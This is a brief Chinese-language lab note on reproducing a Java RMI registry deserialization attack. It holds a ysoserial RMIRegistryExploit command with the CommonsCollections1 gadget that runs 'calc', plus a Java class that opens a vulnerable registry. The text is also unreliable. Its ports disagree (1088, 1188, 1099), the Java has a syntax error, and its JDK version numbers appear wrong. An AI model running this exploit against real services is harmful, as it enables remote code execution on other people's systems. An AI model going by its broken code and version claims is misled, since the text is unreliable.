版本要求:
从JDK8u21、7u13、6u141开始,JDK为RMI注册表和RMI分布式垃圾收集器内置了过滤器,只允许特定的类进行反序列化。Registry无法成功攻击RMI。
漏洞复现过程:
1.启动RMI注册机制
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 1088 CommonsCollections1 "calc"
2.运行程序触发计算器
import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class RMIDemo { public static void main(String[] args) { try { Registry registry = LocateRegistry.createRegistry(1188); System.out.println("127.0.0.1:1099"); while (true) ; } catch (Exception e) { e.printStackTrace; } } }